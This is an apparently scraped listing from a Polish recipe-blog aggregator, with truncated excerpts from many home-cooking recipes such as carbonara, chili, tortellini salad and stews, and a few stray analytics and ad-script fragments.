Sałatka z tortellini serowo-szpinakowym 153

misce wymieszałem tortellini z pokrojonymi składnikami. W mniejszym naczyniu wymieszałem jogurt z majonezem, dodałem przeciśnięty przez praskę czosnek, wymieszałem i doprawiłem do smaku solą i pieprzem. Tak przygotowany sos wymieszałem ze wszystkimi innymi składnikami w misce. Posypałem natką pietruszki. W mniejszym naczyniu wymieszałem jogurt z majonezem, dodałem przeciśnięty przez praskę czosnek

R'n'G Kitchen
Wielkanocny food wine pairing 188

Dominikem Moskalenko – błyskawiczną przystawkę z gotowego schabu pieczonego lub szynki. Wystarczy pokroić mięso w centymetrowe plasterki. Każdy z nich nadkroić tworząc kieszonkę i zapakować w nią nadzienie. Np. sos tatarski z tuńczykiem albo pastę chrzanowo-jajeczną. Taki schab po warszawsku tylko bez oldschoolowej galarety. Co będę do tego pić? Wieprzowina wymaga starszych win, strukturalnych i bogatych w smaku

Ugotowane pozamiatane
Placuszki brokułowe 219

monotematycznie jako przerywniki będą pojawiać się również inne przekąski i dania.  Chociaż prawda jest taka że z tych placuszków również może powstać bardziej wykwintne danie niż zaserwowane z sosem koperkowym. Możemy dołożyć do nich na wierzch wędzonego łososia a placuszki usmażyć w takie mini porcyjki na jeden kęs i mamy świetną propozycję przekąski typu finger foods.  Składniki

Życie zaczyna się w kuchni
Chilli con canre 213

czasu zamieszać. Na koniec dodać fasolę i gotować pod przykryciem przez ok. 3 minuty. Na koniec gotować potrawę podlewając stopniowo wrzącą lub wodą, tak aby powstało trochę gęstego sosu. Ja podaję z ryżem. Moje inne przepisy na dania w wołowiny znajdziesz tutaj Smacznego

Oka w rosole czyli KaFka gotuje
Carbonara dobra na wszystko! 165

patelnię wlewamy masę jajeczną, dodajemy boczek z cebulką, mieszamy, podgrzewamy na średnim ogniu około 1 minuty, cały czas mieszając, następnie dodajemy pozostałą śmietankę i podgrzewamy do momentu, aż sos nam zgęstnieje około 1 minuty. Wyłączamy gaz, dodajemy makaron i wszystko dokładnie mieszamy. Na talerzu posypujemy startym parmezanem. Przepis na Carbonara po polsku w wersji do wydruku i PDF Artykuł Carbonara

KulinarneImpresje.pl
Kapusta kiszona curry z jabłkiem 159

zeszklij na oliwie, dodaj pastę i proszek curry. Podsmaż chwilę. Dodaj imbir i mleko kokosowe oraz śmietankę. Gotuj ok 5 minut aż zgęstnieje. Przesiekaj kapustę i dodaj do sosu dalej ok 5 minut. Dopraw miodem, sokiem startą skórką limonki. Dodaj posiekaną kolendrę, sól i pieprz a na koniec pokrojone jabłka ale już zdejm z ognia

AZgotuj!
CHLEBEK ARABSKI (PITA, FLAT BREAD) 198

Moje pierwsze chlebki arabskie, pity, jakie zrobiłam. Zapewniam iż nie ostatnie, bo były pyszne. Z grillowanym lub smażonym mięsem, dodatkiem warzyw i ulubionym sosem stanowią pyszne danie obiadowe. Inspiracją był ten przepis . Moje były w wersji orkiszowej. Idealne-elastyczne, mięciutkie, b.łatwe do formowania. Dopiero gdy zupełnie wystygną stają się twarde, miękną po ponownym podgrzaniu na patelni. Z podanych składników

Smaczne Zdrowe
Rolada Wieprzowa z Kabanosem i Mozzarellą w Sosie Marchewkowo-Paprykowym 163

SKŁADNIKI: 2 kabanosy tradycyjne wędzone firmy DUDA 5 plastrów schabu 1 kulka mozzarelli papryka słodka w proszku sól pieprz 1 łyżka masła SOS: 2 marchewki 1/4 papryki czerwonej 1/2 papryki żółtej 3-4 cebule szalotki 1 łyżka masła 3 ząbki czosnku papryka ostra papryka słodka sól pieprz sól czosnkowa koperek suszony kurkuma woda około 600ml WYKONANIE: 1. Schab rozbić, posolić

Dziś Ja gotuje
5 dań z resztek jedzenia, które wyglądają jak z restauracji 205

Zupa z pierożkami won ton Niezwykle smakowite pierożki won ton z nadzieniem z posiekanego gotowanego kurczaka i krewetek. Wszystko w otulinie z bardzo delikatnego ciasta, podane w aromatycznym chińskim sosie. Wykwintny sposób na resztki jedzenia – a konkretnie mięso z gotowanego kurczaka, które normalnie je się za karę, albo wcale. Zobacz przepis. 2. Zupa pho z… Ta zupa

Niedzielny kucharz
Łódeczki z kurczakiem,pieczarkami i fetą 370

farsz i sklejamy po dwa boi do siebie ,żeby powstało coś na wzór łódeczki ,wierzch posypujemy resztą sera. Pieczemy w 200 stopniach przez ok 15-20 min,podajemy z sosem czosnkowym lub ketchupem. Smacznego

Swojskie jedzonko
Gołąbki ziemniaczane w kiszonej kapuście 171

zbita, to wodę z ziemniaków. Na każdy liść układamy farsz, zawijamy i układamy w naczyniu żaroodpornym. Gołąbki zalewamy bulionem i pieczemy 60 min w 200°C . Podajemy z ulubionym sosem

R'n'G Kitchen
Pyszne ziemniaki z patelni grillowej 239

grillowej Proste danie , a bardzo smaczne . Ziemniaki z patelni grillowej , dzięki przypraw smakują wybornie i są ciekawym dodatkiem do obiadu . Jeśli jeszcze podacie do nich sałatę ze śmietaną lub sos tzatzyki ..niebo w gębie Proste dania są najlepsze i nie można ich schrzanić , a dzieciaki po prostu je kochają Składniki : 6 średnich ziemniaków 1 łyżeczka czosnku granulowanego 1 łyżeczka octu

Ogrodnik w podróży
Stek z tuńczyka z pieczonymi ziemniaczkami i chrupiącą surówką 236

średnio wysmażonej porcji 2 min/na każdą stronę, krwisty po1 min/na każdą ze stron. SAŁATKA Z KOPRU WŁOSKIEGO Koper włoski i jabłko kroimy w cienkie plasterki, natomiast orzechy lekko siekamy. Sos przygotowujemy przez wymieszanie składników. Łączymy wszystkie dodatki razem i polewamy dresingiem tuż przed podaniem. Sałatkę dekorujemy koperkiem. PIECZONE ZIEMNIACZKI ZE SKÓRKĄ Ziemniaki dokładnie umyć (za pomocą szorstkiej gąbki), pokroić

Kierunekuchnia
Bulion drobiowo – wołowy z lanymi kluseczkami 238

Najczęściej gotuję większą porcję wywaru mięsno – warzywnego, (może być bazą wielu zup, sosów), i mogę go wykorzystać do innej potrawy. W czym tkwi tajemnica głębokiego smaku bulionu? Ja mam kila zasad dotyczących gotowania bulionu, których staram się przestrzegać: 1) Gotuję bez przykrycia, na małym ogniu. 2) Mięso zalewam zimną wodą. 3) Im dłużej gotowany, tym bulion bardziej esencjonalny

Kierunekuchnia
Sos pomidorowo-paprykowy do makaronu 202

małym ogniu kilka minut i dodaję pomidory, chilli i połowę ziół. Gotuję na wolnym ogniu ok. godziny, pod przykryciem, aż warzywa się rozpadną i powstanie z nich gęsty sos. Podaję z makaronem (ten na zdjęciu zrobiłam sama), posypuję reztą świeżych ziół, parmezanem i świeżo startym pieprzem

cinnamonandmintfood
Polędwica w sosie porzeczkowym z puree marchewkowo-ziemniaczanym 196

folię spożywczą i okdładam na ok. godzinę do lodówki. Piekę ok 40 minut w zamkniętym naczyniu żaroodpornym. Kroję na kawałki i podaję z puree z ziemniaków i marchewki i sosem porzeczkowym

cinnamonandmintfood
Placuszki cebulowe 206

ciasta i delikatnie mieszam, tak żeby ciasto oblepiło dokładnie cebulę. Formuję coś co przypomina placuszki i wrzucam na gorący tłuszcz. Smażę aż placki będą złocisto brązowe. Moje podałam z sosem tzatziki

cinnamonandmintfood
Gulasz z łopatki z papryką i marchewką 175

minut. Pod koniec gotowania rozrabiamy łyżkę mąki z wodą oaz śmietaną. Mieszamy na jednolitą masę. Dodajemy kilka łyżek wywaru mięsnego tak aby śmietana się nie zważyła i zagęszczamy sos. Doprawiamy solą, pieprzem, majerankiem, tymiankiem i słodką papryką oraz posiekaną natką pietruszki. ( opcjonalnie łyżka koncentratu pomidorowego.) i smacznego ! Zapraszam na film z przygotowań

Kulinarne przygody
Schab gotowany w sosie z warzywami 1372

dodaje marchewkę i pietruszkę. Całość zalewam wodą. Dodaje liść laurowy i ziele angielskie. Duszę przez 40 minut. Doprawiam solą, pieprzem, papryką oraz majerankiem. Zagęszczam mąką rozrobioną w mleku. Gdy sos się zagustuje dodaje natkę pietruszki i zdejmuje z gazu. Podajemy z ulubionymi dodatkami. Smacznego!                         Zapraszam na film

Kulinarne przygody
Mule w sosie z gorgonzolą i białym winem. 208

minut, co chwilę mieszając. Wrzucamy kawałki sera gorgonzola, parmezan i mascarpone. Rozpuszczamy, mieszając. Na końcu przyprawiamy Tabasco, sokiem z limonki, solą i pieprzem. Gotujemy jeszcze minutę. Do wrzącego sosu wrzucamy małże. Przykrywamy pokrywą i gotujemy, od czasu do czasu ruszając rondelkiem. Czas gotowania małży to ok. 5 minut, do momentu, aż wszystkie się otworzą. Podajemy posypane szczypiorkiem, pietruszką i skropione

DominikaDolci
Maccheroni al ferretto w sosie Alfredo z indykiem i szynką Serrano. 178

Alfredo. Składniki: 1/2 kostki masła 2 ząbki czosnku 250 g kremowego serka 1 szklanka startego parmezanu 250 ml śmietanki 30% szczypta gałki muszkatołowej sól pieprz czosnek niedźwiedzi 2 chluśnięcia sosu Chipotle Mad Dog 900 g filetu z indyka sól pieprz  oliwa z oliwek  6 plastrów szynki Serrano drobno pokrojony szczypiorek świeża bazylia 500 g makaronu Maccheroni al ferretto

DominikaDolci
Karmelowe Tiramisu. 177

Karmel: 120 g drobnego cukru 50 ml wody 150 ml tłustej śmietanki 20 g lekko solonego masła Oczywiście jeśli ktoś nie ma czasu/ umiejętności można użyć gotowego karmelu lub sosu toffi. II. Całość: 220 g okrągłych biszkoptów 500 g serka mascarpone sok z 1 cytryny 1 laska wanilii 160 g drobnego cukru 4 jajka szczypta soli opcjonalnie przyprawa do deserów

DominikaDolci
Chili con carne z ciemnym piwem. 165

kukurydzy z chili 1/2 łyżeczki kuminu 1 łyżeczka słodkiej, wędzonej papryki 1 łyżeczka chili 1 łyżeczka oregano 1/2 łyżeczki cynamonu sól  pieprz oregano Tabasco do smaku 1 łyżka sosu Worcestershire 1 szklanka startego parmezanu odrobina masła Sposób przygotowania: * Przygotowujemy głęboki rondel. * Mięso doprawiamy solą, pieprzem i kuminem. Drobno pokrojoną cebulę szklimy na maśle. Dorzucamy posiekany czosnek i podsmażamy jeszcze

DominikaDolci
Warstwowa sałatka z tortellini. 169

kroimy w kosteczkę. Umyte pomidorki kroimy w ćwiartki. Kukurydzę odcedzamy. W przezroczystej misce układamy kolejno: pomidory, ser, szynkę, ogórek, kukurydzę, lekko odciśniętego pora i pierożki tortellini. Całość delikatnie polewamy sosem i posypujemy szczypiorkiem. Odstawiamy do lodówki na kilka godzin. Smacznego

DominikaDolci
Il Mercato Centrale Firenze i sekrety toskańskiej kuchni. 182

włoską pizzę, jak wiadomo jest ona sztywna. :D Kucharze bardzo dbają, aby wilgoć ze składników pizzy nie wsiąkła w ciasto, gdyż będzie ono niedobre. Z tego też powodu używany sos jest bardzo gęsty (coś jak nasz przecier pomidorowy), a z mozzarelli (główny ser w klasycznej pizzy, parmezan to tylko dodatek :P) odciska się nadmiar wody. __________________ Bardzo podoba mi się

DominikaDolci
Makaron z boczkiem i groszkiem 197

boczek się zarumieni dodaj odcedzony wcześniej groszek i smaż chwile na małym ogniu następnie dodaj śmietanę i mieszając doprowadź do wrzenia ugotuj makaron i wymieszaj w garnku z sosem. całość posyp posiekaną natką pietruszki i pokrojoną mozzarellą

Studencka Micha
Chili z kawałkami wołowiny 230

czerwoną fasolę.  Zmniejszyć ogień do minimum i gotować, na bardzo małym ogniu, od czasu do czasu mieszając, aż mięso będzie  miękkie (przez około 2 - 3 godziny), a sos zgęstnieje. Ugotowane chili przyprawić solą i pieprzem do smaku. Chili podawać gorące, z kleksem kwaśnej śmietany oraz oprószone startym, żółtym serem. SMACZNEGO! Uwagi do przepisu: Z podanych składników wychodzą

Gospodyni Miejska
Makaron w pomidorach z anchois i rodzynkami czyli Środowe Rybki odc.70 224

ogniu ok 5 minut. Na drugiej patelni na niewielkiej ilości oliwy rumienimy bułkę tartą. Odsączamy ją na ręczniku papierowym. Gotujemy makaron wg przepisu na opakowaniu. Odcedzamy i mieszamy z sosem. Doprawiamy do smaku solą i pieprzem. Nakładamy makaron na talerze i posypujemy bułka tartą

Dzieje kuchennej Wiewióry
Leczo z parówek 990

również chwilę podsmażać do częściowego odparowania płynu. Wlać pomidory z puszki wsypać suszone pomidory i chwilę podgotować. Dodać parówki doprawić do smaku i całość gotować około 10 minut aż sos lekko zgęstnieje

Ala piecze i gotuje
#15 Schabowe pieczone w warzywach 180

wyjmujemy, osuszamy ręcznikiem papierowym. Cebulę z marynaty układamy na dnie pojemnika żaroodpornego, na to kładziemy kotlety, doprawiamy solą, dużą ilością papryki ostrej, pieprzu. Następną warstwą będzie por, później kukurydza, sos pomidorowy i ser pleśniowy.  Pieczemy około 50-60 minut w 180 stopniach. SMACZNEGO

Taste of imagination
TARTA ZE SZPINAKIEM I FETĄ 163

kolejne 20-25 minut, aż brzegi ciasta będą złote, a masa się zetnie. Tartę podawać ze świeżą sałatką, np. z rucoli, czy sałaty lodowej z dodatkiem warzyw i sosem z TEGO PRZEPISU >> Smacznego

Calzonella.com
zupa-barszcz czerwony na wywarze kolagenowym 216

kurczaka wyjąć ,całość przecedzić i ostudzić .Można przechowywać gęstą galaretkę bulionową z dużą ilością kolagenu w woreczkach,pojemniczkach .Taka galaretka potem gdy nie mamy czasu przydaje się do sosu ,lub do ugotowania zupy jak dzisiaj u mnie .Do gotowego bulionu dodać włoszczyznę i zagotować do miękkich warzyw. Do części takiego wywaru dolać gotowy zakwas buraczany i zupa gotowa. reszta wywaru

w mojej kuchni
Pieczona pierś z indyka + historia mojego przepisu 267

nią chlust różowego wina, jakie miałam akurat w lodówce. Kiedy alkohol odparował postanowiłam dodać trochę rosołu, który parując podczas pieczenia, będzie nawilżał moją pierś z indyka oraz będzie moim sosem do pieczeni. W najgrubszym miejscu piersi wbiłam termometr i całość przykryłam pokrywką. Wstawiłam wszystko do nagrzanego pieca. Wiedziałam, że 73-74°C to temperatura jaka powinna być w prawidłowo upieczonej

Moja Delicja
FALAFEL kuleczki z ciecierzycy 172

mielimy. Z utworzonej masy formujemy kuleczki 3 centymetrowe. Kuleczki smażymy na głębokim oleju z obu stron po 3 minuty. Możemy je podawać np. z sałatą i frytkami, hummusem, sosem czosnkowym, pitą, ogórkami kiszonymi. Smacznego

Dominacja smaku
Wiosenna surówka a’la Coleslaw 342

Wiosenna surówka a’la Coleslaw Kolorowa surówka na bazie białej kapusty z dodatkiem warzyw i sosu typowego dla bardzo znanej i lubianej surówki Coleslaw. Idealnie sprawdzi się jako dodatek do drugiego dania lub do grilla. Jest pyszna i chrupiąca, a do tego łatwa oraz w miarę szybka w przygotowaniu. Polecam!   Składniki: Pół główki kapusty 1 niewielka cebula

Blog z Apetytem
Omlet z tuńczykiem 625

śniadanie z jajkami i tuńczykiem w roli głównej. Więcej dań z tuńczykiem znajdziecie tutaj: Tuńczyk – przepisy . Omlet z tuńczykiem – Składniki: 1 puszka tuńczyka w kawałkach w sosie własnym – ok. 98g po odsączeniu 8 jajek 2 łyżki śmietany gęstej 18% 1 łyżka masła 1 pęczek drobnego szczypiorku sól i pieprz do smaku pomidorki koktajlowe (opcjonalnie do ozdoby) Omlet

Kulinarne Przeboje
Sałata lodowa w sosie jogurtowym 169

obrać  z wierzchnich liści i pokroić na 4 części. Ułożyć na talerzach. Obok sałaty poukładać po kilka plasterków pomidora, posypać pokrojoną w piórka cebulą. Sałatę polać kilkoma łyżkami sosu, posypać szczypiorkiem i bekonem. Oprószyć pieprzem. Podawać od razu po przygotowaniu

Smakołyki Asi
Curry z kurczaka z mlekiem kokosowym i pomidorami- Coconut Malai Chicken Curry 203

dodaj pomidory i duś 10 minut pod przykryciem. Zdejmij pokrywkę z patelni i dodaj mleko kokosowe. Gotuj ok. 5 minut na mocnym ogniu, aby sos się zredukował. Podawaj z ryżem, posiekaną natką kolendry i cząstkami limonki, której sokiem można przyprawić potrawę tuż przed zjedzeniem. DRUKUJ PRZEPIS Powiem Wam w sekrecie

Patchwork
Polędwiczka wieprzowa nadziewana drobiową kiełbasą 191

cebulę. Po chwili podlewamy bulionem lub wodą, dodajemy almette. Dusimy pod przykryciem do miękkości. Na koniec wyjmujemy polędwiczki. Marchewki, cebulę i płyn razem miksujemy. W ten sposób przygotowujemy gęsty sos. Pokrojone polędwiczki podajemy z ulubionymi dodatkami. SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push

Smaki Ewy
Sałatka winogronowo-jabłkowa z czerwoną cebulą 221

jabłko pozbawiamy gniazda nasiennego i wraz ze skórką kroimy w średniej wielkości kostkę. Jogurt doprawiamy solą oraz pieprzem. Mieszamy z drobno posiekanym koperkiem. Wszystkie składniki łączymy ze sobą, polewamy sosem. Przepis wypatrzony w jednym z czasopism kulinarych

Smaki Na Talerzu
RISOTTO Z POMIDORAMI I TUŃCZYKIEM 229

Składniki:   jedna szklanka ryżu arborio 200 g pokrojonych pomidorów ( mogą być z puszki)  4 szklanki bulionu warzywnego lub wody  1 czerwona cebula 1 tuńczyk w sosie własnym  2 ząbki czosnku  4 łyżki utartego sera grana padano lub parmezanu 3 łyżki masła  oliwa sól,pieprz, zioła prowansalskie  Sposób przyrządzenia    Na rozgrzanej patelni

pieprzny smaczek
Clapshopt - zapiekanka ziemniaczana z brukwią 187

pieprz, chwilę gotować.  Warzywa przełożyć do żaroodpornego naczynia wysmarowanego masłem. Mleko ze śmietaną chwilę pogotować, aż się zredukuje i nieco zgęstnieje. Ziemniaki i brukiew zalać mleczno-śmietanowym sosem i wstawić do piekarnika nagrzanego do 180 stopni.  Piec przez około godzinę, aż ziemniaki będą miękkie, a wierzch zapiekanki przyrumieniony.  Smacznego

Codzienne Gotowanie
Pieczone udka z kurczaka 222

Pieczone udka z kurczaka to bardzo proste, szybkie ale zarazem niesamowicie smaczne danie. Możecie je przygotować na rodzinny niedzielny obiad, będą idealnie komponować się z różnymi

Kulinarnyblog.pl - wiesz jak gotować!
Szynka w kawowym sosie 197

rozgrzać na patelni, położyć plastry szynki i podsmażyć na złoty kolor z obu stron. Następnie odłożyć szynkę na talerz, a na patelnię wlać przygotowaną kawę. Dokładnie wymieszać z powstałym sosem, doprawić do smaku, położyć szynkę z powrotem, chwilę podgotować i podawać z ziemniakami lub dowolną kaszą

Tradycyjna Kuchnia
Fasolka z wędzonymi żeberkami 172

gotującej się już fasoli. Pokroić je w  kostkę razem z kiełbasą. Podsmażyć na odrobinie smalcu, następnie dodać poszatkowaną cebulę. Smażyć kilka minut doprawić ostrą i słodką papryką, ciemnym sosem sojowym, solą i pieprzem. Na końcu smażenia dodać przeciśnięty przez praskę czosnek. Na ok 30 min przed końcem przełożyć mięso do fasoli, kość wyciągnąć, na patelni podsmażyć przecier, a następnie

Gaździnka warzy
Focaccia z oliwkami 160

także jako dodatek do innych potraw. Nie wszyscy wiedzą, lecz włoska focaccia to po prostu ciasto na pizzę bez sera i sosu pomidorowego. Włoski chleb występuje w wielu odmianach – sucha, z solą, z ziołami (między innymi z rozmarynem), z suszonymi pomidorami. Od pizzy odróżnia

Vegan Taste
Jajka faszerowane tuńczykiem i porem 192

Witajcie, Dzisiaj chcę Wam polecić pyszne jajka z tuńczykiem i porem. To bardzo pożywne danie, które każdemu doda energii. Polecam Składniki: 6 jajek 1 puszka tuńczyka w sosie własnym 150 g korzenia pora 1 łyżka masła Garść posiekanego szczypiorku 1 czubata łyżeczka musztardy 1 czubata łyżeczka jogurtu naturalnego 1 czubata łyżka majonezu Kilka rzodkiewek Sól Pieprz czarny mielony Wykonanie: Jajka

Przepisy Babci
Kanapeczki z Biedroneczki 950

nieco przyrumienią). Wyjąć mini tosty z piekarnika i oprószyć ziołami prowansalskimi. Podawać najlepiej na ciepło, ale na zimno smakują równie dobrze :) Można dodatkowo polać je na wierzchu ketchupem lub sosem czosnkowym . Smacznego! Więcej przekąsek na imprezę i nie tylko znajdziecie tutaj: Przekąski na imprezę (adsbygoogle = window.adsbygoogle || []).push({}); The post Kanapeczki z Biedroneczki appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Grzanki z chleba tostowego 493

Wiedzieliście, że z pieczywa tostowego też można zrobić super grzanki? Takie chipsy z chleba tostowego bardzo często podaję jako samodzielną przekąskę. Grzanki czosnkowe wzbogacą też smak zup kremowych i sosów. Jeśli lubicie takie szybkie snaki, to z pewnością spodoba Wam się tez mój przepis na chipsy z tortilli

AniaGotuje.pl
Mój lutowy Health Box + propozycje przepisów 146

lutowy Health Box: 1. Mąka kukurydziana 500g - Bezgluten. Mąka kukurydziana jest produktem bezglutenowym i idealnie sprawdzi się nie tylko w wypiekach, ale również doskonale zagęszcza zupy, czy różnego rodzaju sosy. Tu znajdziecie wszystkie moje dotychczasowe przepisy z użyciem mąki kukurydzianej - klik .   2. Ksylitol 200g - Jawo Kraków. Przyznam, że ksylitol zaczął gościć w mojej kuchni od bardzo dawna

Di gotuje
Szybki obiad – kurczak w rozmarynie pieczony na ziemniakach 214

króliki, które w przeszłości żyły sobie dziko, (dzisiaj są hodowane) oraz drób, podawany w najprostszy sposób: z pomidorkami, cebulą, garścią dziko rosnących ziół i obowiązkowo ziemniakami, które wchłaniają aromatyczny sos wytworzony podczas pieczenia. Prosty, pyszny i szybki obiad. Polecamy to danie, jeśli chociaż na chwilę chcecie przenieść się na włoską Ischię. Składniki: 4 udka z kurczaka 1/4 szklanki oleju

Niedzielny kucharz
Grissini - włoskie paluszki chlebowe 266

Paluszki grissini to przystawka podawana we Włoszech przed posiłkiem. Świetnie pasują do wędlin czy sera, można je także serwować do różnych sosów, dipów i zup. Pochodzą z Turynu i okolic i zgodnie z miejscową tradycją zostały wymyślone przez piekarza w Lanzo Torinese w 1679 roku. Grissini można także przygotowywać z różnymi dodatkami smakowymi, np. ziołami i posypywać makiem, sezamem, serem

Przepisy na domowy ser i chleb
Krokiety ze szpinakiem 5710

następnie w bułce tartej. Na patelni rozgrzać olej. Smażyć krokiety (zaczynając od strony gdzie jest łączenie naleśnika), z każdej strony na złoty kolor. Podawać najlepiej na ciepło np. z sosem czosnkowym . Smacznego! (adsbygoogle = window.adsbygoogle || []).push({}); The post Krokiety ze szpinakiem appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
5 pomysłów na niedzielny obiad 380

Fish and chips z piekarnika Pieczona wersja angielskiego klasyka. Chrupiąca ryba bez smażenia. Zdrowe, smaczne, bez tłuszczu i bez wysiłku. Czytaj dalej ODROBINA LUKSUSU: Spaghetti z krewetkami w maślanym sosie Najprostszy i najsmaczniejszy przepis na pastę z owocami morza! Do zrobienia w 15 minut. Fastfood, który może zakasować inne niedzielne, czasochłonne, wyszukane obiady. Nie lubimy nadużywać tego powiedzenia

Niedzielny kucharz
Marokańska kiszona pasta z czosnku 174

Czosnek kiszę często a tym razem po marokańsku. Pasta nada smaku każdej potrawie, można nią natrzeć mięso i upiec, można posmarować cieniutko kanapki, można dodać do sosu pomidorowego czy innego, można eksperymentować, zapach jest murowany. Smak idealny jak dla kiszonek, nie czuć charakterystycznego, ostrego zapachu czosnku. Zachęcam do kiszenia bo to samo zdrowie dla organizmu. Przepis pochodzi z książki

Moje Małe Czarowanie
Zapiekanka ziemniaczana z rybą 190

kroimy w półplasterki. Koperek siekamy. Śmietanę, jajka, koper, sól i pieprz mieszamy ze sobą. Ziemniaki rozkładamy na dnie natłuszczonego naczynia żaroodpornego, na nich układamy rybę i pora. Całość zalewamy sosem śmietanowym. Zapiekankę pieczemy pod przykryciem przez około 30 min w temp 180 C (zapomniałam przykryć i dlatego por się lekko przypalił). [caption id="attachment_7253" align="aligncenter" width="1024"] Zapiekanka

e-PrzepisyKulinarne
Coleslaw, surówka z kapusty... 205

Coleslaw – popularna surówka obiadowa, w której podstawowym składnikiem jest szatkowana, surowa kapusta głowiasta. W zależności od kraju czy upodobań dodawane są rozmaite dodatki jak: marchew, jabłko czy ananas. Jako sos używany bywa majonez lub maślanka, musztarda albo ocet. Dodaje się również przyprawy i zioła.Od upodobań również zależy przygotowanie jak i proporcje składników." Tyle dowiecie się z portalu Wikipedia

chleba naszego
Kiełbasa biała w piwie – wereszczaka 181

smaku Sok z cytryny do smaku Wykonanie: Cebulę obrać i drobno posiekać. Piwo zagotować, włożyć kiełbasę i pod przykryciem odstawić na 15 minut. Następnie kiełbasę wyjąć z piwa a sos zagotować, wrzucić cebulę i gotować przez kilkanaście minut, po czym zmiksować. Dodać złotą zasmażkę przygotowaną z mąki i masła, podgrzać mieszając do zgęstnienia. Doprawić do smaku, włożyć pokrojoną w krążki

Tradycyjna Kuchnia
Przekąska na stół Wielkanocny 285

wymieszać z majonezem, chrzanem, jogurtem i utartym serem, dodać paprykę, przyprawić do smaku i bardzo dokładnie wymieszać. Gotową pastę kłaść na plasterki szynki i zwinąć w roladkę. Podawać z sosem czosnkowy

Tradycyjna Kuchnia
Ryżowy rarytas 174

Sałatka powstała z potrzeby wykorzystania produktów z lodówki 😊 Jak się okazało bez majonezu i sosu tez coś dobrego można zjeść. Polecam 👌 Składniki: (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async

Kulinarne przemyslenia
fasola z kiełbasą z wolnowaru 238

parze, 425 g  - 1 puszka białej fasoli gotowanej na parze 400 g  - puszka krojonych pomidorów 1/3 szklanki bulionu z kurczaka 1 cebula, pokrojona w kostkę 1 łyżka sosu Worcestershire 1 łyżka musztardy 1/2 - 1 łyżeczka ostrej papryki w płatkach sól, pieprz Przygotowanie Wolnowar nagrzać zgodnie z instrukcją. Kiełbasę pokroić w grube plasterki, boczek w małą kostkę. Do misy

Stare Gary
Quinoa i królicza wątróbka z jabłkami, cebulką i majerankiem 161

układamy wątróbki. Podsmażamy około 2 minuty z jednej strony. Przewracamy na drugą, doprawiamy majerankiem solą i pieprzem, mieszamy z jabłkiem i cebulą, dolewamy odrobinę wrzątku (żeby nadać konsystencję lekkiego sosu) i od razu nakładamy na talerze razem z quinoą. Pamiętajcie, żeby nie trzymać wątróbki za długo na patelnie i żeby solić ją po przewróceniu, bo przeciągnięta i sucha to żadna

Quinoa Raz!
Rolada ziemniaczana z mięsem, serem i szpinakiem / Cheesy potato roll with meat and spinach 316

tego dania ze strony Tasty , i poczułam, że muszę to zrobić. W pierwszy wolniejszy weekend zabrałam się do dzieła i powstała przepyszna rolada z ziemniaków zapieczonych w parmezanie, nadziana sosem mięsnym, śmietankowym szpinakiem i dużą ilością mozzarelli – obłęd! To jest przepyszne! I wcale nie jest tak trudna w przygotowaniu jak wydaje się na pierwszy rzut oka. Zapraszam! Scroll down

karmelowy
Śledzie z farszem grzybowym 210

włożyłam grzyby, wstawiłam do gotowania na średnim ogniu na około 1,5   godziny. Wystudziłam. Grzyby wyjęłam, a wywar przelałam do pojemniczka i zamroziłam. Wykorzystam go potem do zrobienia sosu grzybowego.   Śledzie wyjęłam z zalewy i opłukałam. Przełożyłam do miseczki, zalałam zimną   wodą i zostawiłam na około 15 minut. Odcedziłam z wody. Takich śledzi a’la Matias

Kuchnia u Krysi
Szynka duszona z cebulą i majerankiem 200

dusić 10-15 minut do momentu aż cebula rozpadnie się zamieniając w sosik.  Szynkę w międzyczasie trzeba obracać. Należy również uzupełniać wodę, która wyparuje.  Na koniec sos można doprawić jeszcze solą i pieprzem oraz uzupełnić wodą jeśli jest nazbyt gęsty.  Po uduszeniu szynkę zostawić na 5 minut na desce lub talerzu żeby odpoczęła. Następnie pokroić w grube

Ze smakiem bez glutenu
Risotto z krewetkami i cukinią 289

Risotto z krewetkami i cukinią to danie, które wbrew pozorom przygotowuje się bardzo szybko. Delikatna cukinia, krewetki, to wszystko w pysznym “własnym” sosie… idealnie się komponuje. Całość dopełnia oczywiście czosnek, parmezan i świeżo mielony pieprz. To jedno z tych dań, które będę przygotowywać często. Także nie zawahałabym się podać go gościom, którzy nie lubią krewetek. Sądzę

Kuchnia Bazylii
Spaghetti alla carbonara 195

drobno czosnek i natkę pietruszki. Do patelni przekładamy ugotowany i odcedzony makaron, mieszamy z boczkiem. Wlewamy rozmącone jajko, posypujemy połową parmezanu. Zdejmujemy z ognia i energicznie mieszamy by powstał sos (jajka nie mogą się ściąć). Wykładamy makaron na talerz, posypujemy parmezanem i cieszymy się wspaniałym obiadem przygotowanym w kilka minut

Kucharka Tarka i Miarka
Placuszki dyniowe na mące ryżowej 193

placuszki po 3 minuty z każdej strony.  5) Podaję z twarożkiem.  Placuszki można też podać z jajkiem w koszulce, jajem sadzonym, jak i również ze swoim ulubionym sosem. Smacznego! Pozdrawiam, Adrianna

Pause Gotowanie!
Sałatka makaronowa z koperkiem 197

Dodajemy kukurydzę i wystudzony makaron. Wszystko razem dokładnie mieszamy. 4. Do osobnej miseczki wlewamy śmietanę, przeciskamy czosnek przez praskę, dodajmy majonez, sól, pieprz i szczyptę cukru. 5. Tak sporządzony sos wlewamy do sałatki. Odpowiednio przyprawiamy solą i pieprzem

Coś z niczego
Kiszona marchew z natką pietruszki i jabłkiem 180

kiszona marchew jest bardzo, bardzo smaczna a jej zastosowanie w kuchni jest ogromne.  Do czego używamy? Jemy samą a sok wypijamy. Jako surówkę lub składnik surówek, sałatek, zup, sosów albo jako jeden ze składników do sajgonek czy naleśników. Jej zastosowanie może tylko ograniczać nasza wyobraźnia :). Marchew po ukiszeniu nic a nic nie traci na kolorze! Jest kilka sposobów

Leśny Zakątek
Chrupiące fit frytki z fasolki szparagowej 222

